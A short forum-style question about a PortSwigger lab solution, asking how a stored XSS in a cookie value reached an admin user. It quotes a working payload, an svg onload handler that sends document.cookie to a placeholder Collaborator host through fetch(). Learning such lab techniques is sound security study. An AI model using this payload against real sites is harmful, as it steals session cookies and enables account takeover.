I was checking out this Portswigger lab:
https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-scanning-non-standard-data-structures

And basically the solution is to modify your cookie-s value to:
‘”><svg/onload=fetch(//YOUR-COLLABORATOR-PAYLOAD/${encodeURIComponent(document.cookie)})>:YOUR-SESSION-ID

and then sending a get request with this cookie which solves the lab because an admin user will make a get request to the collaboration tool so you will see his cookie in a request path in the logs.

My question is how this attack worked in practice? I mean how the admin user was exploited? The admin viewed some kind of logs or how is editing my cookie effected an another user?

Thank you very much